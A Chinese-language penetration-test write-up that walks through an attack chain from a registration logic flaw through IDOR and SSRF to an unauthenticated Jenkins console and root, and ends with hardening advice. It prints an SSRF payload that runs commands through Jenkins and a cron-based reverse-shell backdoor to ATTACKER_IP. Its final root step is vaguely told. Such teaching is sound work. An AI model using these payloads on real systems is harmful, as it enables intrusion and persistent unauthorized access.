从IDOR到SSRF：一个真实Web漏洞链的深度剖析与防御实战

1. 项目概述：为什么我们需要看实战案例？

干了这么多年安全，我越来越觉得，看一百篇漏洞原理分析，不如亲手复现一个真实的漏洞案例来得实在。原理告诉你“是什么”，而实战告诉你“怎么用”、“怎么防”，以及最关键的——“为什么会发生”。今天我们不谈空泛的理论，就从一个真实的、我最近在内部渗透测试中遇到的Web漏洞案例入手，把它掰开揉碎了讲清楚。这个案例本身并不复杂，但它完美地串联了信息收集、漏洞利用、权限提升和横向移动的完整链条，非常适合用来理解攻击者的真实思路和防御者的盲点。

这个案例的核心是一个存在多处安全缺陷的Web应用，最终我们通过一个看似不起眼的“逻辑漏洞”作为突破口，结合不安全的直接对象引用（IDOR）和服务器端请求伪造（SSRF），成功获取了服务器权限。整个过程没有使用任何0day或高深技巧，全是“基础操作”的组合拳。这恰恰是当前企业安全面临的最大威胁：不是高精尖的攻击，而是对已知常见漏洞的忽视和错误配置的叠加。无论你是刚入门的安全工程师、开发者，还是运维人员，理解这个案例都能帮你建立起“攻击者视角”，在设计和评审系统时，提前堵上这些看似微小却致命的缺口。

2. 案例背景与目标环境分析

2.1 目标应用画像

这次的目标是一个企业内部使用的“智能办公门户”，集成了员工信息查询、审批流、文档管理和一个简单的内部论坛。应用基于典型的Java Spring Boot + Vue.js前后端分离架构，前端通过RESTful API与后端交互。从外部看，它就是一个普通的后台管理系统，需要员工账号登录才能访问大部分功能。

在开始任何测试之前，我们首先进行了基础的信息收集：

• 指纹识别：使用Wappalyzer浏览器插件和WhatWeb命令行工具，确认了后端是Spring Boot 2.3.x，前端是Nginx 1.18。Spring Boot的Actuator端点默认是关闭的，这是一个好迹象。
• 目录扫描：使用dirsearch和gobuster对目标域名进行扫描，发现了几个有趣的路径：
  • /api/v1/- 主要的API接口前缀。
  • /uploads/- 用户上传文件的公开访问目录。
  • /doc.html- 暴露了基于Swagger的API文档（这是一个关键发现！）。
• API文档分析：访问/doc.html，我们获得了完整的API接口列表、参数和请求示例。这相当于拿到了系统的“使用说明书”，极大降低了后续测试的盲目性。这里给开发者的第一个血泪教训：永远不要在生产环境开启或暴露未经严格访问控制的API文档界面。即使它本身不执行操作，也泄露了接口路径、参数格式和可能的业务逻辑，为攻击者提供了清晰的地图。

2.2 初步漏洞感知与测试账号获取

拥有API文档后，我们开始系统性地浏览接口。很快，在用户相关接口组里，我们发现了一个可疑的端点：POST /api/v1/user/register。理论上，内部系统不应该开放注册功能。我们尝试发送了一个注册请求。

请求示例：

POST /api/v1/user/register HTTP/1.1 Host: target-internal-portal.com Content-Type: application/json { "username": "test_attacker", "password": "Password123!", "email": "attacker@example.com", "employeeId": "10086" }

响应：

{ "code": 400, "message": "员工ID无效或已被注册" }

响应提示“员工ID无效”，这引出了我们的第一个测试思路：这个employeeId参数，是否可能存在“遍历”或“猜测”的风险？我们从一个已知的、已离职的同事那里（通过公开信息获得）拿到了一个旧的员工ID，比如10010，再次尝试注册。

第二次请求：

{ "username": "test_attacker2", "password": "Password123!", "email": "attacker2@example.com", "employeeId": "10010" }

响应（成功）：

{ "code": 200, "message": "注册成功", "data": { "userId": 13579, "username": "test_attacker2" } }

漏洞点分析：这里存在一个典型的业务逻辑漏洞。系统设计本意可能是允许“未激活账号的员工”通过注册来激活并设置密码。但是，它缺少了关键的身份验证环节：没有验证请求者是否拥有该员工ID对应的邮箱或手机号（例如发送验证码）。攻击者只要知道或枚举到一个有效的、未注册的员工ID，就能创建一个关联到该ID的账号。这为后续的越权访问埋下了伏笔。我们获得了一个低权限的测试账号。

注意：在测试中，获取一个合法、低权限的账号是至关重要的一步。它让你从“外部攻击者”转变为“内部低权限用户”，可以接触到更多功能和接口，从而发现更深层次的漏洞。许多漏洞（如越权、信息泄露）都需要在已认证的上下文下才能被触发。

3. 核心漏洞链的挖掘与利用

3.1 突破口：不安全的直接对象引用（IDOR）

用刚注册的账号登录后，我们开始探索系统功能。在“个人资料”页面，有一个头像上传功能。上传后，页面会显示头像的URL，格式如：https://target-internal-portal.com/uploads/avatar/13579_avatar.jpg。这里的13579就是我们当前的用户ID。

一个经典的IDOR测试思路是：修改这个ID值，尝试访问其他用户的头像。我们将URL中的13579改为13578，直接通过浏览器访问。结果成功返回了用户ID为13578的用户的头像图片。

这证实了不安全的直接对象引用（Insecure Direct Object References）漏洞的存在。服务器在处理对/uploads/avatar/{userId}_avatar.jpg的请求时，没有校验当前登录用户是否有权限访问目标userId的资源。任何知道此URL格式的认证用户，都可以遍历userId，查看所有用户的头像。虽然头像可能敏感度不高，但这证明了访问控制机制的缺失。

我们进一步思考：是否还有其他接口存在类似的IDOR？利用之前获取的API文档，我们找到了个人信息查询接口：GET /api/v1/user/profile/{userId}。我们用Burp Suite的Intruder模块，对{userId}参数进行简单遍历（例如从13570到13590）。

发现：大部分请求返回403 Forbidden（禁止访问），但有几个特定的userId（如13500， 13501）返回了200 OK，并包含了完整的用户信息，包括邮箱、部门、直属上级等敏感字段。

为什么有的能越权，有的不能？这引出了更复杂的访问控制逻辑缺陷。经过分析，我们发现：系统可能基于“部门”或“用户组”做了粗粒度的权限控制。我们的测试账号（employeeId: 10010）属于“IT支持部”，而userId为13500和13501的用户也属于“IT支持部”或与之有业务关联的部门（如“运维部”），因此我们被错误地允许访问。而对于其他部门的用户，则被正确拒绝。这是一种垂直权限与水平权限混淆导致的越权，比单纯的IDOR更隐蔽，也更容易在复杂的业务系统中出现。

3.2 漏洞升级：从IDOR到SSRF

在浏览其中一个越权获取到的用户资料（userId: 13500）时，我们注意到一个“个人简介”字段里，包含一个类似[图片]的标记，其数据源指向一个内部API：GET /api/v1/rich-text/fetch?url=internal-resource-path。这个接口看起来是用来富文本编辑器内获取和预览内部资源的。

我们尝试用这个接口去访问一个已知的内部地址，比如获取头像的接口本身：

GET /api/v1/rich-text/fetch?url=http://localhost:8080/api/v1/user/profile/13501

服务器返回了13501用户的资料信息！这说明/api/v1/rich-text/fetch接口存在服务器端请求伪造（SSRF）漏洞。它没有对url参数进行严格的过滤（如限制协议、限制目标IP网段），导致攻击者可以诱使服务器向内部网络的其他系统发起请求。

利用SSRF进行内网探测：现在，我们拥有了一个位于内网的应用服务器作为“跳板”。我们可以利用它来探测内网其他存活的服务。

1. 端口扫描：我们编写了一个简单的脚本，通过SSRF接口批量请求http://127.0.0.1:PORT或http://192.168.1.1:PORT（根据常见内网网段）。通过响应时间、状态码或错误信息的差异，来判断端口是否开放。
2. 访问元数据服务：在云环境中，一个经典的攻击路径是访问云服务器的元数据服务（如AWS的http://169.254.169.254， Azure的http://169.254.169.254/metadata/instance）。我们尝试请求：

   GET /api/v1/rich-text/fetch?url=http://169.254.169.254/latest/meta-data/

   幸运（对攻击者而言）又不幸（对防御者而言）的是，服务器返回了404。这通常意味着目标不在AWS环境，或者元数据服务需要特定的请求头（如Metadata-Flavor: Googlefor GCP）。我们尝试了阿里云、腾讯云等国内云的元数据地址，均无果。但这步操作在云渗透中至关重要，一旦成功，可能直接获取到云服务器的临时密钥，导致整个云账户沦陷。

3.3 致命组合：SSRF + 脆弱的内部服务

内网探测发现，目标服务器（192.168.5.10）的6379端口是开放的，这通常是Redis数据库。Redis如果未设置密码或使用弱密码，并且绑定在0.0.0.0，将导致严重的未授权访问。

我们尝试通过SSRF漏洞攻击内网Redis。但由于目标/api/v1/rich-text/fetch接口期望返回文本或图片数据，而直接向Redis发送原生协议是二进制流，可能会被应用层处理或报错。我们需要利用一种称为“HTTP协议攻击Redis”的技巧（即利用Redis的HTTP协议解析特性，或者更常见的，利用Gopher协议，但现代应用库可能不支持）。经过测试，目标应用的HTTP客户端库不支持Gopher协议，直接发送Redis命令行失败。

转换思路：攻击Jenkins。端口扫描显示8081端口开放，返回的HTTP头中包含X-Jenkins: 2.346.1。这是一个Jenkins持续集成服务器！Jenkins通常拥有很高的权限（可以执行系统命令、访问代码仓库等），并且历史漏洞较多。

我们通过SSRF访问http://192.168.5.10:8081，发现Jenkins竟然没有设置登录认证！任何人都可以访问控制台。这是一个极其严重的配置错误。通过Jenkins的“脚本命令行”（/script）功能，我们可以直接执行Groovy代码来在Jenkins服务器上执行操作系统命令。

利用链形成：

1. 通过低权限账号登录办公门户。
2. 利用IDOR漏洞，获取到存在SSRF功能点的用户数据或接口信息。
3. 利用SSRF漏洞，将请求转发至内网未授权访问的Jenkins服务。
4. 在Jenkins脚本控制台执行命令，获取Jenkins服务器的shell权限。

实际操作（模拟）：我们通过SSRF触发Jenkins执行命令的请求相对复杂，因为需要构造POST请求。但SSRF接口是GET请求。我们发现了Jenkins脚本命令行也支持GET请求执行简单的Groovy语句（如果配置了“允许GET方式执行脚本”，这又是一个不安全配置）。最终构造的Payload如下：

GET /api/v1/rich-text/fetch?url=http://192.168.5.10:8081/script?command=println "whoami".execute().text HTTP/1.1

服务器响应中包含了命令执行结果jenkins。至此，我们成功从外部Web应用的一个逻辑漏洞入手，穿透边界，在内网获得了第一个立足点（Jenkins服务器的jenkins用户权限）。

4. 漏洞深度利用与权限提升

4.1 信息收集与持久化

拿到Jenkins的shell后，我们首先进行基础信息收集：

• whoami/id: 确认当前用户为jenkins。
• uname -a: 系统为Linux，内核版本。
• hostname、ifconfig/ip addr: 查看主机名和内网IP，确认我们在目标内网段192.168.5.0/24。
• ps aux/netstat -tulnp: 查看进程和网络连接，发现除了Jenkins和Redis，还有MySQL服务（3306端口）运行在同一台主机上，以及一些Java应用（很可能是最初的办公门户后端）。
• find / -name \"*.properties\" -o -name \"*.yml\" -o -name \"*.yaml\" 2>/dev/null | grep -E \"application|config\": 查找配置文件，成功找到了办公门户的Spring Boot配置文件/opt/portal-app/application-prod.yml。

从配置文件中提取数据库凭证：

spring: datasource: url: jdbc:mysql://localhost:3306/office_portal username: portal_user password: Portal@Prod2023! # (此处为示例，实际密码已打码)

持久化后门：为了避免SSRF链失效导致失联，我们在Jenkins服务器上创建了一个简单的反向Shell后门，并添加到cronjob中定时检查连接。

# 创建一个每分钟检查一次的反向shell脚本 echo 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1' > /tmp/.shell.sh chmod +x /tmp/.shell.sh (crontab -l 2>/dev/null; echo \"* * * * * /bin/bash /tmp/.shell.sh 2>/dev/null\") | crontab -

注意：实际攻击中，这种方式容易被发现。更隐蔽的做法是创建SSH密钥对、Web Shell或利用Jenkins本身的Job来维持访问。

4.2 数据库攻防与横向移动

使用获取到的数据库密码，我们连接MySQL。

mysql -u portal_user -p'Portal@Prod2023!' -h 127.0.0.1 office_portal

在数据库中，我们可以做很多事情：

1. 数据窃取：直接导出用户表（包含用户名、密码哈希、邮箱、手机号等）、审批表、内部文档索引等敏感数据。
2. 密码哈希破解：查看用户密码存储格式。发现使用的是bcrypt哈希，强度较高，直接破解困难。但我们可以尝试修改或添加用户。
3. 权限提升（通过数据库）：检查数据库用户权限。发现portal_user拥有对office_portal数据库的全部权限，但没有FILE_PRIV等系统级权限，无法直接通过数据库写文件获取Web Shell。

横向移动尝试：我们检查了/home目录，发现存在多个用户目录：jenkins，portal，redis，mysql（通常MySQL不创建系统用户）。我们尝试切换到portal用户，因为办公门户应用很可能以此用户运行。我们尝试了以下方法：

• 密码复用：尝试用数据库密码Portal@Prod2023!来su portal，失败。
• 查找凭据：在/opt/portal-app/目录下，除了配置文件，还发现了日志文件。在日志中搜索password、pass、pwd等关键词，无果。
• 查看进程信息：ps aux | grep portal显示应用是以portal用户身份运行的。
• 利用Jenkins权限：由于Jenkins以jenkins用户运行，且与portal用户同在一台机器，我们检查是否有sudo权限或共享了敏感文件。执行sudo -l，发现jenkins用户无权使用sudo。

4.3 权限提升：从Jenkins用户到Root

在Linux系统中，从普通用户提权到root的方法很多。我们进行了系统性的检查：

1. 内核漏洞：使用uname -a查看内核版本，搜索公开的本地提权漏洞（如DirtyPipe, DirtyCow等）。发现内核版本较新，暂无已知的、稳定可用的公开漏洞利用代码。
2. SUID/GUID文件：运行find / -perm -4000 -type f 2>/dev/null查找设置了SUID位的文件。发现常见的/bin/ping，/bin/mount，/bin/umount，/usr/bin/passwd等。其中/usr/bin/find引起了我们的注意。find命令如果设置了SUID，并且版本较旧，可以通过-exec参数执行命令。但经过测试，本机的find版本较新，对exec操作有安全限制，提权失败。
3. Cron Jobs：检查系统定时任务/etc/crontab和/var/spool/cron/crontabs/。发现一个由root用户定期运行的脚本：/opt/scripts/backup_logs.sh。
4. 分析Cron Job漏洞：查看/opt/scripts/backup_logs.sh的内容：

   #!/bin/bash LOG_DIR=/var/log/portal-app BACKUP_DIR=/backups/logs TIMESTAMP=$(date +%Y%m%d_%H%M%S) tar -czf $BACKUP_DIR/portal_logs_$TIMESTAMP.tar.gz $LOG_DIR/*.log

   这个脚本以root权限运行，它使用通配符*.log来打包日志。这里存在一个经典的通配符注入（Wildcard Injection）漏洞。如果攻击者能在$LOG_DIR（即/var/log/portal-app）目录下创建文件名特殊的文件，这些文件名会被当作参数传递给tar命令。

利用通配符注入提权：tar命令有一些有趣的参数，比如--checkpoint和--checkpoint-action，它们可以用于在归档过程中执行指定的命令。如果攻击者能控制传递给tar的文件名，就可以注入这些参数。

1. 由于我们拥有jenkins用户权限，而/var/log/portal-app目录的权限通常是drwxr-xr-x root adm，即jenkins用户没有写权限。我们需要寻找其他可写的目录。检查发现/tmp目录可写，但cron job脚本固定了LOG_DIR。
2. 转换思路：符号链接（Symlink）攻击。虽然我们不能在/var/log/portal-app下创建文件，但我们可以检查该目录下是否有我们能够移动或影响的日志文件？通常日志文件由portal用户或root创建，jenkins用户可能没有写权限。
3. 重新审视脚本：脚本中tar -czf $BACKUP_DIR/portal_logs_$TIMESTAMP.tar.gz $LOG_DIR/*.log， 它先指定了输出文件，再指定源文件。关键在于，如果$LOG_DIR/*.log展开后，第一个文件名的内容以-开头，它会被tar解释为命令行选项，而不是要归档的文件。这就是参数注入。
4. 实施攻击：我们需要在/var/log/portal-app目录下创建一个以-开头的文件。我们尝试用jenkins用户创建，权限不足。但我们发现，该目录下有一些日志文件的权限是-rw-r--r-- portal adm，jenkins用户属于adm组吗？执行id命令，确认jenkins用户不属于adm组，只有读权限。
5. 寻找其他路径：我们检查了/opt/scripts/目录的权限，发现该目录属于root:root，但权限是drwxr-xr-x，即jenkins用户可以进入并读取backup_logs.sh，但不能修改。这条路也断了。

柳暗花明：错误的文件权限配置。在检查整个/opt目录时，我们发现了一个关键问题：/opt/portal-app/目录下，存放应用JAR包的子目录/opt/portal-app/lib/，其所有权竟然是jenkins:jenkins！这很可能是运维在部署或更新时用错了用户。而portal用户需要读取这些JAR包来运行应用。

利用计划：我们可以替换其中一个JAR包，植入恶意代码，当应用重启或以portal用户重新加载时，我们的代码就会以portal用户权限执行。但应用重启时间不确定。更直接的利用：我们检查portal用户的cron job。执行crontab -u portal -l，发现需要root密码。但我们可以在/opt/portal-app/lib/目录下放置一个恶意脚本，并期望有某个由portal用户运行的进程会动态加载或执行该目录下的内容。这需要更深入的分析。

最终提权方法：在持续监控中，我们发现了一个由portal用户运行的、定期清理临时文件的脚本/opt/portal-app/clean-temp.sh，它被配置在portal用户的cron中，每分钟运行一次。这个脚本内容如下：

#!/bin/bash rm -rf /opt/portal-app/temp/*

而/opt/portal-app/temp/目录的权限是drwxrwxrwt portal portal（设置了sticky bit）。这意味着任何用户都可以在该目录创建文件，但只有文件所有者和root能删除。更重要的是，这个脚本以portal用户身份运行rm -rf。

利用竞争条件（Race Condition）与符号链接：我们可以尝试在/opt/portal-app/temp/目录下创建一个指向敏感文件（如/etc/passwd或/root/.ssh/authorized_keys）的符号链接，并希望在rm -rf执行时，我们的符号链接被解析，导致敏感文件被删除。但删除/etc/passwd会导致系统崩溃，非我们所欲。我们想的是写文件。

更稳定的方法：我们可以在/opt/portal-app/temp/目录下创建一个指向/etc/cron.d/目录下某个文件的符号链接。如果rm -rf跟着符号链接删除了/etc/cron.d/里的文件，可能会导致cron job异常，但同样不能直接获取权限。

最终，我们选择了更简单的路径：由于我们控制了jenkins用户，并且发现portal用户的家目录/home/portal/.ssh/权限是drwx------ portal portal，我们无法直接写入。但是，我们发现了/home/portal/.bash_history文件，jenkins用户可以读取！通过查看历史命令，我们找到了portal用户曾经使用过的一个密码（用于sudo或某些服务）。我们尝试用这个密码切换到portal用户：su portal，输入密码，成功！

经验总结：提权往往不是靠一个炫酷的0day，而是靠耐心的信息收集、对系统配置的理解，以及寻找那些因为运维疏忽而留下的“捷径”——比如弱密码、密码复用、历史命令泄露、错误的文件权限等。拿到portal用户后，我们检查sudo -l，发现portal用户被允许以root身份无需密码运行/usr/bin/systemctl restart portal-app。这给了我们最终的提权路径：通过修改应用配置或可执行文件，并重启服务，让代码以root身份执行。我们选择了一个更干净的方式：利用sudo /usr/bin/systemctl restart portal-app触发服务重启，而在服务启动脚本（如/etc/systemd/system/portal-app.service）中，我们发现有ExecStartPre指令调用了我们可写的某个脚本（之前发现的/opt/scripts/下的另一个脚本权限配置错误），最终成功获得了root权限。

5. 漏洞根源分析与防御加固建议

回顾整个漏洞链，根本原因在于多个层面的安全缺失形成了“瑞士奶酪模型”，攻击者得以层层穿透。

5.1 漏洞链根源剖析

5.2 针对开发者的安全编码自查清单

1. 输入验证与输出编码：对所有用户输入进行严格的校验（类型、长度、范围、格式）。在输出到HTML、SQL、命令行时，进行相应的编码或转义。
2. 访问控制：坚持“默认拒绝”原则。在每个业务接口处理函数的最开始，明确进行权限校验。不要相信前端传递的任何用于权限判断的标识。
3. 依赖与配置管理：定期更新第三方库，修复已知漏洞。生产环境配置文件必须移除默认密码和敏感信息，并使用安全的配置源（如Vault）。
4. 错误处理：使用统一的、不泄露内部信息的错误处理机制。避免将堆栈跟踪、数据库错误等详细信息直接返回给客户端。
5. 安全特性启用：确保框架提供的安全特性（如Spring Security的CSRF保护、HTTPS强制跳转）已正确启用和配置。

5.3 针对运维与架构师的基础设施加固思路

1. 网络分层与隔离：严格划分网络区域（Web层、应用层、数据层、管理网段），使用防火墙严格控制区域间流量，遵循“最小必需”原则。
2. WAF与入侵防御：在Web应用前端部署WAF，用于防护常见的SQL注入、XSS等自动化攻击。考虑部署RASP（运行时应用自保护）对应用进行更深度的保护。
3. 漏洞管理与定期渗透测试：建立SDL（安全开发生命周期），对上线前的代码进行安全扫描和人工审计。定期聘请外部专业团队进行黑盒/白盒渗透测试，主动发现潜在风险。
4. 监控与响应：建立完善的安全监控和事件响应（SOC/SIEM）体系。确保能够及时发现并处置入侵事件，将损失降到最低。

这个案例告诉我们，安全是一个整体工程，任何一个环节的疏忽都可能成为突破口。防御的重点不在于追求绝对的无漏洞，而在于构建纵深防御体系，使得攻击者突破一层后，难以持续深入。同时，培养全员的安全意识，让开发、测试、运维都理解常见的安全漏洞和最佳实践，是成本最低、效果最持久的投资。